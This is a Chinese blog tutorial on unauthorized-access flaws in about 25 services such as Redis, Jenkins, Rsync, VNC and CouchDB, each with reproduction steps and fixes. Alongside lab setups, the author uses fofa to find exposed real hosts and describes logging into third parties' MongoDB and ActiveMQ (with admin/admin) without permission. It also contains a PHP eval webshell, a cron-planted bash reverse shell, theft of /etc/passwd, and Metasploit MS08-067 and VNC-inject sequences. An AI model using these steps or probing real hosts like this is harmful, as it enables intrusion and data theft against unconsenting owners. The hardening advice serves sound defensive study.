未授权访问漏洞(及其修复方法)---看这一篇就够!!

 一. Redis

      Redis 默认情况下,会绑定在 0.0.0.0:6379 ,如果没有进⾏采⽤相关的策略,⽐如添加防 ⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设 置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤ Redis ⾃身的提供的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务 登录⽬标服务器。

漏洞复现

首先我们需要用docker启动一个靶机,命令如下

进⼊⽬录:cd /vulhub-master/redis/4-unacc
启动:docker-compose up -d
检查:docker-compose ps

然后在kali上面安装redis程序,命令为

#安装redis
apt-get install redis
#redis链接
redis-cli -h x.x.x.x -p 6379

连接后会弹出以下语言,直接连接上了,不需要认证,就说明存在未授权访问漏洞

接着我们下载redis-rogue-server.py来获取shell,下载连接https://github.com/n0b0dyCN/redis-rogue-server,下载后使用python3启动,然后就可以获取shell了,执行命令如下

python3 redis-rogue-server.py --rhost x.x.x.x --lhost x.x.x.x

二.MongoDB

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的⽤户可以通过默认端⼝⽆

需密码对数据库任意操作(增、删、改、查⾼危动作)⽽且可以远程访问数据库。

漏洞复现

首先去fofa搜索端口为27017的ip,然后直接用navicat去尝试连接即可

首先打开navicat,点击连接,选择MongoDB,这里的主机填写我们查到的ip,连接名随便填写,然后测试连接

这里我直接找到了一个可以连接的

如何修复

1. 为MongoDB添加认证:MongoDB启动时添加 --auth 参数、为MongoDB添加⽤户。

2. MongoDB ⾃身带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭        的。mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管          理,建议禁⽤。修改配置⽂件或在启动的时候选择 –nohttpinterface 参数                           nohttpinterface=false 。

3. 启动时加⼊参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf ⽂件中添加以下内容:

bind_ip = 127.0.0.1 。

三.Memcached

      Memcached 是⼀套常⽤的 key-value 分布式⾼速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公⽹开放的Memcache服务很容易被攻击者扫描发现,攻击者⽆需认证通过命令交互可直接读取 Memcached中的敏感信息。  

漏洞复现

首先我们需要下载Memcached程序,下载链接如下

https://www.runoob.com/memcached/window-install-memcached.html

下载后我们利用如下命令安装并启动Memcached漏洞程序

memcached.exe -d install
memcached.exe -d start

然后用telnet去连接有memcached的11211 端口,这里我们去fofa中搜索端口为11211的ip,然后尝试连接,出现如下字样就是连接成功了

然后可以使用命令

stats //查看memcache服务状态
stats items //查看所有items
stats cachedump 39 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value获得实际缓存内容,造
成敏感信息泄露

接下来,我们使⽤Nmap程序的脚本进⾏漏洞扫描,发现也可以扫出来

nmap -p 11211 --script memcached-info x.x.x.x

如何修复

1. 设置Memchached只允许本地访问。

2. 禁⽌外⽹访问Memcached 11211端⼝。

3. 配置访问控制策略。

4. 最⼩化权限运⾏。

5. 修改默认端⼝等。

四.Jenkins

      默认情况下 Jenkins⾯板中⽤户可以选择执⾏脚本界⾯来操作⼀些系统层命令,攻击者可通过未授权访问漏洞或者暴⼒破解⽤户密码等进⼊后台管理服务,通过脚本执⾏界⾯从⽽获取服务器权限。

漏洞复现

首先我们利用如下语句在fofa中搜索

port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

找到一个页面中有Manage Jenkins的,往下滑会有一个Scritp Console

点开之后我们就可以在里面执行命令了,这里我们执行一个println "whoami" .execute().text,发现成功执行

如何修复

1. 升级版本。

2. 添加认证,设置强密码复杂度及账号锁定。

3. 禁⽌把Jenkins直接暴露在公⽹。

五.Jupyter NoteBook

      Jupyter Notebook(此前被称为 IPython notebook)是⼀个交互式笔记本,⽀持运⾏ 40多种编程语⾔。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建⼀个console并执⾏任意Python代码和命令,默认端⼝:8888。

漏洞复现

同样的,我们在fofa中搜索"Jupyter Notebook" && port="8888",如果存在未授权访问漏洞,那么点进去会直接跳转到web页面,否则就会到一个登陆页面

登陆页面

web页面

在web页面,我们可以直接创建一个终端来执行命令,点击new里的terminal即可

然后在这里可以直接执行命令

如何修复

1. 开启身份验证,防⽌未经授权⽤户访问。

2. 访问控制策略,限制IP访问,绑定固定IP。

六.Elasticsearch

      ElasticSearch是⼀个基于Lucene的搜索服务器。它提供了⼀个分布式多⽤户能⼒的全⽂搜索引擎,基于RESTful web接⼝。Elasticsearch是⽤Java开发的,并作为Apache许可条款下的开放源码发布,是当前流⾏的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接⼝完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进⾏任意操作。业务系统将⾯临敏感数据泄露、数据丢失、数据遭到破坏甚⾄遭到攻击者的勒索。

复现步骤:

首先我们利用如下语法在fofa中进行搜索

"Elasticsearch" && port="9200"

然后寻找能直接点进去查看到信息的ip

含有未授权访问漏洞则会出现如下页面

可以按照上面的查看节点信息,如访问ip的/_nodes 目录

如何修复

1. 访问控制策略,限制IP访问,绑定固定IP。

2. 在 config/elasticsearch.yml 中为9200端⼝设置认证等

七.Kibana

      Kibana是⼀个开源的分析与可视化平台,设计出来⽤于和Elasticsearch⼀起使⽤的。你可以⽤kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互⽅式是以各种不同的图表、表格、地图等直观地展示数据,从⽽达到⾼级的数据分析与可视化的⽬的。

      Elasticsearch、Logstash和Kibana这三个技术就是我们常说的ELK技术栈,可以说这三个技术的组合是⼤数据领域中⼀个很巧妙的设计。⼀种很典型的MVC思想,模型持久层,视图层和控制层。Logstash担任控制层的⻆⾊,负责搜集和过滤数据。Elasticsearch担任数据持久层的⻆⾊,负责储存数据。⽽我们这章的主题Kibana担任视图层⻆⾊,拥有各种维度的查询和分析,并使⽤图形化的界⾯展示存放在Elasticsearch中的数据。

漏洞复现

我们利用如下语法在fofa中进行搜索

"kibana" && port="5601"

如果该网站存在未授权访问漏洞,则不会出现登陆界面

而是直接进入网站界面

那么我们就可以通过拼接路径HTTP://{IP}/app/kibana#/进入网站内部查看信息

如何修复

1. 升级Kibana到最新版本,升级地址如下https://www.elastic.co/cn/downloads/kibana。

2. 在kibana所在的服务器上安装nginx服务,利⽤nginx的转发指令实现,需要输⼊账号密码才可以访问⻚⾯。

3. 如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP来访问服务。

八.Docker Remote API

      Docker是⼀个开源的应⽤容器引擎,让开发者可以打包他们的应⽤以及依赖包到⼀个可移植的容器中,然后发布到任何流⾏的LINUX机器上,也可以实现虚拟化。

      Docker swarm 是⼀个将docker集群变成单⼀虚拟的docker host⼯具,使⽤标准DockerAPI,能够⽅便docker集群的管理和扩展,由docker官⽅提供。

      Docker Remote API如配置不当可导致未授权访问,被攻击者恶意利⽤。攻击者⽆需认证即可访问到Docker数据,可能导致敏感信息泄露,⿊客也可以删除 Docker上的数据,直接访问宿主机上的敏感信息,或对敏感⽂件进⾏修改,最终完全控制服务器。

漏洞复现

我们利用如下语法在fofa中进行搜索

port="2375"

九.Kubernetes Api Server

      Kubernetes 的服务在正常启动后会开启两个端⼝:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端⼝都是提供 Api Server 服务的,⼀个可以直接通过Web 访问,另⼀个可以通过 kubectl 客户端进⾏调⽤。如果运维⼈员没有合理的配置验证和权限,那么攻击者就可以通过这两个接⼝去获取容器的权限。

漏洞复现

我们在fofa中利用如下语法进行搜索

port="8080" && app="Kubernetes"

点进去即可得到类似如下页面,这就证明这个网站有未授权访问漏洞

如何修复

1. 进⾏授权认证

2. 使⽤Service Account令牌

3. 置防⽕墙策略

十.Hadoop

      Hadoop是⼀个由Apache基⾦会所开发的分布式系统基础架构,由于服务器直接在开放了Hadoop 机器 HDFS 的 50070 web 端⼝及部分默认服务端⼝,⿊客可以通过命令⾏操作多个⽬录下的数据,如进⾏删除,下载,⽬录浏览甚⾄命令执⾏等操作,产⽣极⼤的危害。

漏洞复现

我们在fofa中搜索如下

port="8088" && app="Hadoop"

如果出现如下页面,则存在未授权访问漏洞

修复方法

1. 如⽆必要,关闭 Hadoop Web 管理⻚⾯。

2. 开启身份验证,防⽌未经授权⽤户访问。

3. 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端⼝对公⽹全部禁⽌或限制可信任的 IP地址才能访问包括 50070 以及 WebUI 等相关端⼝。

十一.ActiveMQ

      ActiveMQ是⼀款流⾏的开源消息服务器。默认情况下,ActiveMQ服务是没有配置安全参数。恶意⼈员可以利⽤默认配置弱点发动远程命令执⾏攻击,获取服务器权限,从⽽导致数据泄露。

漏洞复现

我们利用如下语法在fofa中进行搜索

body="ActiveMQ" && port="8161"

在如下页面中,点击Manage ActiveMQ broker后会进入一个登陆页面或者弹出一个登录框,我们尝试输入弱口令密码,如果可以登陆进去,则该页面存在未授权访问漏洞

我找的这个网站就存在未授权访问漏洞,点击进去后会谈到一个炫酷的登陆页面,直接输入admin-admin,就成功登陆进去

漏洞修复

1. ActiveMQ的安全配置分为控制台安全配置和后台安全配置。控制台安全配置是指⽤户通过浏览器登录ActiveMQ管理界⾯,对ActiveMQ进⾏管理的⼀个安全配置;主要是添加⽤户和密码。后台安全配置是指程序通过ActiveMQ发送消息的⼀个安全配置。

2. ActiveMQ后台安全配置。配置置连接ActiveMQ的⽤户名和密码,如果不设置ActiveMQ安全机制,任何知道ActiveMQ服务的IP、端⼝和消息地址的⼈,都可以接受和发送消息。

十二.RabbitMQ未授权访问漏洞

      RabbitMQ是⽬前⾮常热⻔的⼀款消息中间件,基于AMQP协议的,可以在发布者和使⽤者之间交换异步消息。消息可以是⼈类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。

漏洞复现

我们在fofa中搜索如下端口

port="15672" 
port="15692" 
port="25672"

然后回出现一个登录界面,这里的默认账号和密码都是guest ,直接尝试登陆

如果成功登录进入如下页面,则该网站存在未授权访问漏洞

漏洞修复

1. 修改为强密码,删除默认的账号guest。

2. 禁⽌对外⽹开放,仅限于内部访问。

十三.Springboot Actuator

      Actuator 是 springboot 提供的⽤来对应⽤系统进⾏⾃省和监控的功能模块,借助于 Actuator 开

发者可以很⽅便地对应⽤系统某些监控指标进⾏查看、统计等。在 Actuator 启⽤的情况下,如果没有做好相关权限控制,⾮法⽤户可通过访问默认的执⾏器端点(endpoints)来获取应⽤系统中的监控信息,从⽽导致信息泄露甚⾄服务器被接管的事件发⽣。

漏洞复现

在fofa中搜索如下语句

icon_hash="116323821"
当 web 应⽤程序出现 4xx、5xx 错误时显示类似以下⻚⾯就能确定当前 web 应⽤是使⽤了
springboot 框架
出现如下界面时则说明该页面存在未授权访问漏洞
我们可以在ip后面拼接/teace或者/env等目录以查看信息
访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录⽤户的操作请求,可以伪造cookie进⾏登录。
访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公⽹,那么造成的危害是巨⼤的。
git 项⽬地址泄露,这个⼀般是在/health 路径,⽐如如下站点,访问其 health 路径可探测到站点 git 项⽬地址。

修复方法

1. 禁⽤/env接⼝。
2. 升级到Springboot actuator 2.0。
3. 禁⽌对外开放。

十四.FTP未授权访问漏洞(匿名登陆)

      FTP 弱⼝令或匿名登录漏洞,⼀般指使⽤ FTP 的⽤户启⽤了匿名登录功能,或系统⼝令的⻓度太短、复杂度不够、仅包含数字、或仅包含字⺟等,容易被⿊客攻击,发⽣恶意⽂件上传或更严重的⼊侵⾏为。

漏洞复现

首先我们要打开iis服务,我这里使用的server2012虚拟机开启,添加功能时要选择上ftp,然后在网站这里点击添加FTP站点

站点名称随便填写,物理路径选择一个有东西的文件夹,然后点击下一步

在这里选择一个物理机可以访问到的ip,选择无ssl后点击下一步

这里选择匿名和匿名用户,并且给了读取与写入的权限,点击完成

在物理机中的资源管理器中利用访问ftp://192.168.159.128:21/,就可以获取到该ftp站点下的所有文件了

漏洞修复

禁⽌匿名登录

十五.JBoss

      JBoss是⼀个基于J2EE的开放源代码应⽤服务器,代码遵循LGPL许可,可以在任何商业应⽤中免费使⽤;JBoss也是⼀个管理EJB的容器和服务器,⽀持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输⼊⽤户名和密码可以直接部署上传⽊⻢有安全隐患。

漏洞复现

我们在fofa中搜索如下语句

title="Welcome to JBoss"

点击进入页面后,再点击页面中的JMX Console链接,如果能直接进入控制页面而不会显示404或者登陆界面的话,就证明这个网站存在未授权访问漏洞

出现如下界面,则存在未授权访问漏洞

然后我们还可以通过jboss.deployment部署shell

修复方法

1. jboss.deployment部署shell

2. 进⾏JMX Console 安全配置。

十六.Ldap

      LDAP中⽂全称为:轻型⽬录访问协议(Lightweight Directory Access Protocol),默认使⽤ 389, LDAP 底层⼀般使⽤ TCP 或 UDP 作为传输协议。⽬录服务是⼀个特殊的数据库,是⼀种以树状结构的⽬录数据库为基础。 未对LDAP的访问进⾏密码验证,导致未授权访问。

漏洞复现

首先我们需要下载一个ldapadmin软件,链接:https://sourceforge.net/projects/ldapadmin/

下载完成后在fofa中进行搜索端口为389的ip

然后打开刚刚下载的ldapadmin软件,点击左上角的连接,然后点击new connection

将搜索到的IP地址填入框中,然后勾选下面的Anonymous connection(匿名访问)后点击Test connection(测试连接)

当出现连接成功时则证明该网页存在ldap未授权访问漏洞

然后就可以连接⽬标LDAP服务并查看其内容

如何修复

1. 修改ldap的acl,不允许匿名访问。

2. 根据业务设置ldap访问⽩名单或⿊名单。

十七.Rsync

      Rsync 是Linux/Unix下的⼀个远程数据同步⼯具,可通过LAN/WAN快速同步多台主机间的⽂件 和⽬录,默认运⾏在873端⼝。由于配置不当,导致任何⼈可未授权访问rsync,上传本地⽂件,下载服务器⽂件。 Rsync 默认允许匿名访问,如果在配置⽂件中没有相关的⽤户认证以及⽂件授权,就会触发隐患。Rsync 的默认端⼝为 837 且默认配置⽂件路径在/etc/rsync.conf

漏洞复现

我们在fofa中搜索语法如下

(port="873") && (is_honeypot=false && is_fraud=false)

然后自己开启一个vulhub靶机,命令如下

cd vulhub/rsync/common
docker-compose up -d

然后到kali中利用如下语句去连接并读取文件

rsync rsync://192.168.124.153:873/
rsync rsync://192.168.124.153:873/src/

证明其有未授权访问漏洞后,就可以对其敏感文件内容进行下载,利用如下命令

rsync rsync://IP:port/src/etc/passwd ⽬标路径

如果靶机内有相应的asp/php/jsp环境的话,还可以写入一个一句话木马对其进行控制,命令如下

先自己写一个一句话木马:echo "<?php @eval($_POST[cmd]); ?>" > shell.php

然后将其放到靶机的home目录下:rsync ./phpinfo.php rsync://IP:873/src/home/

执行完成后查看是否上传成功,发现home中成功出现一个shell.php文件

反弹shell

在此可利⽤定时任务cron来反弹获取shell,首先利用如下命令查看靶机中的定时任务并将其下载

rsync rsync://IP:873/src/etc/crontab
//查看

rsync rsync://ip/src/etc/crontab /tmp/tmp/crontab.txt
//下载

定时任务内容为,⼤致意思为每17分钟调⽤⼀次/etc/cron.hourly,然后创建一个shell文件并对其授权

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

chmod 777 shell

上传到靶机上,然后开启监听端口4444,等待即可反弹获取shell

rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/
cron.hourly

nc -lvp 4444

修复方法

配置认证⽤户名或者密码 host allow/deny 来控制接⼊源IP uid和gid,使⽤⾜够但最⼩权限的账号进⾏ 必要时候可以配置只读 ⾮必要应该仅限制配置路径下可访问

1.修改指定端⼝

- 配置⽂件不存在修改指定端⼝的选项,可以在启动命令⾏通过参数指定

/usr/local/rsync/bin.rsync --port=878 --daemon

- 查看进程检测是否更改端⼝ ps -ef | grep rsync

2.禁⽌匿名访问

- 配置⽂件/etc/rsync.conf中增加 auth users = test

- 若未包含auth users即为匿名访问

十八.VNC

      VNC 是虚拟⽹络控制台 Virtual Network Console 的英⽂缩写。它是⼀款优秀的远程控制⼯具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端⼝号为 5900、5901。VNC 未授权访问漏洞如被利⽤可能造成恶意⽤户直接控制target主机。

漏洞复现

我们在fofa中搜索语法如下

(port="5900") && (is_honeypot=false && is_fraud=false)

然后在kali中利用MSF中的auxiliary/scanner/vnc/vnc_none_auth 模块对搜索到的ip进行漏洞检索与利用输入msfconsole进入msf控制台后,输入use auxiliary/scanner/vnc/vnc_none_auth 进入攻击模块

再输入set rhosts IP-254 ,设置线程threads为100后输入run运行

即可判断该ip是否存在未授权访问漏洞

以下是几个攻击利用该漏洞的方法

# VNC未授权检测
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > show options
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts IP-254
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
# VNC密码爆破
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > IP
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts IP
msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆
破
msf6 auxiliary(scanner/vnc/vnc_login) > run
# 加载攻击模块
msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_0
67_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterprete
r/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts IP
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost IP
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
获取会话后,直接run vnc可控制远程虚拟机
# 直接控制远程机器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost IP
msf6 exploit(multi/handler) > set lport 4466
msf6 exploit(multi/handler) > exploit

最后可以利用vncviewer ip去连接

如果成功连接则可以远程连接到目标计算机

如何修复

1. 配置 VNC 客户端登录⼝令认证并配置符合密码强度要求的密码。
2. 以最⼩普通权限身份运⾏操作系统。

修复方法

十九.Dubbo

      Dubbo是阿⾥巴巴公司开源的⼀个⾼性能优秀的 服务框架,使得应⽤可通过⾼性能的 RPC实现服务的输 出和输⼊功能,可以和 Spring框架⽆缝集成。dubbo 因配置不当导致未授权访问漏洞。

漏洞复现

我们使用以下语句在fofa中进行搜索

(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)

将搜到的ip到kali中利用telnet进行链接测试,出现如下语句则代表连接成功,存在dubbo未授权访问漏洞

如何防御

1. 配置dubbo认证。

2. 设置防⽕墙策略;

如果正常业务中dubbo 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。

二十.Zookeeper

      Zookeeper是分布式协同管理⼯具,常⽤来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端⼝是 2181 。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利⽤Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进⾏破坏(⽐如:kill命令)。攻击者能够执⾏所有只允许由管理员运⾏的命令。

漏洞复现

首先在fofa中搜索端口为2181的ip,然后在kali中利用如下语句进行未授权访问漏洞测试

echo envi | nc IP 2181

如果该网站存在未授权访问漏洞则会出现如下语句

在确定存在zookeeper未授权访问漏洞后,可使⽤Zookeeper可视化管理⼯具进⾏连接

下载链接:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

在第一个框中填入ip

修复方法

1. 修改 ZooKeeper 默认端⼝,采⽤其他端⼝服务。
2. 添加访问控制,配置服务来源地址限制策略。
3. 增加 ZooKeeper 的认证配置。

二十一.NSF

      Network File System(NFS),是由SUN公司研制的UNIX表示层协议(pressentation layer protocol),能使使⽤者访问⽹络上别处的⽂件就像在使⽤⾃⼰的计算机⼀样。服务器在启⽤nfs服务以后,由于nfs服务未限制对外访问,导致共享⽬录泄漏。

漏洞复现

首先我们在fofa中搜索"nfs",然后到kali中安装一个nfs服务,安装命令:apt install nfs-common

然后查看nfs服务器上的共享⽬录,语句如下

showmount -e IP

查到目录

然后挂载相应共享目录到本地

mount -t nfs IP:/grdata /mnt

卸载目录

umount /mnt

如何修复

1. 利⽤ iptables 限制端⼝ 2049 20048 端⼝的访问,禁⽌外部访问;
2. 设置 /etc/exports ,对访问进⾏控制;

二十二.Druid

当开发者配置不当时就可能造成未授权访问

漏洞复现

在fofa中利用如下语句进行搜索

title="Druid Stat Index"

访问之后直接进入网站页面,则存在druid未授权访问漏洞

修复方法

1. 配置访问账号密码。
2. 禁⽌对外⽹开放访问。

二十三.CouchDB

      Apache CouchDB是⼀个开源数据库,专注于易⽤性和成为"完全拥抱web的数据库" 。它是⼀个使⽤JSON作为存储格式,JavaScript作为查询语⾔,MapReduce和HTTP作为API的NoSQL数据库。应⽤⼴泛,如BBC⽤在其动态内容展示平台,Credit Suisse⽤在其内部的商品部⻔的市场框架,Meebo,⽤在其社交平台(web和应⽤程序)。
      在2017年11⽉15⽇,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是⼀个任意命令执⾏漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执⾏view的时候将被运⾏。默认端⼝是6984

漏洞复现

我们在fofa中搜索如下语法,或者直接利用docker搭建一个环境

(port="5984") && (is_honeypot=false && is_fraud=false)

cd /vulhub/couchdb/CVE-2017-12636
docker-compose up -d

然后利用curl执⾏未授权访问测试命令:curl IP:5984/_config

如果目标存在couchdb未授权访问漏洞,则会出现如下

如何修复

1. 指定 CouchDB 绑定的 IP (需要重启 CouchDB 才能⽣效)在 /etc/couchdb/local.ini ⽂件中
找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。 注:修改后只有本机才能访问CouchDB
2. 设置访问密码(需要重启 CouchDB 才能⽣效)在 /etc/couchdb/local.ini 中找到 [ admins ] 字段配置密码。
3. 设置 WWW-Authenticate ,强制认证。

二十四.Altassian Crowd

      Atlassian Crowd和Atlassian Crowd Data Center都是澳⼤利亚Atlassian公司的产品。Atlassian Crowd是⼀套基于Web的单点登录系统。该系统为多⽤户、⽹络应⽤程序和⽬录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。AtlassianCrowd和Crowd Data Center在其某些发⾏版本中错误地启⽤了pdkinstall开发插件,使其存在安全漏洞。攻击者利⽤该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd DataCenter安装任意的恶意插件,执⾏任意代码/命令,从⽽获得服务器权限。其端⼝:8095

漏洞复现

首先我们在kali虚拟机执⾏以下命令 下载搭建 Atlassian-crowd-3.4.3,然后这个环境还需要java
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlas
sian-crowd-3.4.3.zip

然后解压缩⽂件并移动到指定位置,命令unzip atlassian-crowd-3.4.3.zip

将其移动到var目录下sudo cp -r atlassian-crowd-3.4.3 /var/

接下来就要到/var/atlassian-crowd-3.4.3/crowd-webapp/WEB-INF/classes/ 下修改一个配置文件-在crowd-init.properties 文件中添加一个crowd.home=/var/atlassian-crowd-3.4.3

然后利用如下命令启动服务

sudo sh start_crowd.sh

访问8095端口进入如下页面

然后 点击Set up Crowd需要申请key,复制Server ID;进⼊以下官⽹并点击New TrialLicense申请key
官网: https://my.atlassian.com/products/index

在下拉框中选择crowed,将之前复制的Server ID粘贴,并随便起一个团队名称即可获得试用

然后跳回到原来的页面勾选trials并等待即可出现key

二十五.RTSP

       RTSP(Real Time Streaming Protocol),实时流传输协议,是TCP/IP协议体系中的⼀个应⽤层协议,该协议定义了⼀对多应⽤程序如何有效地通过IP⽹络传送多媒体数据,被⼴泛⽤于视频直播领域,为⽅便⽤户远程监控摄像头内容,许多摄像头⼚商会在摄像头或NVR中开启RTSP服务器。攻击者可通过VLC等视频播放软件打开rtsp地址进⾏摄像头画⾯的实时查看。

漏洞复现

首先我们要下载一个vlc播放软件

  • 24
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值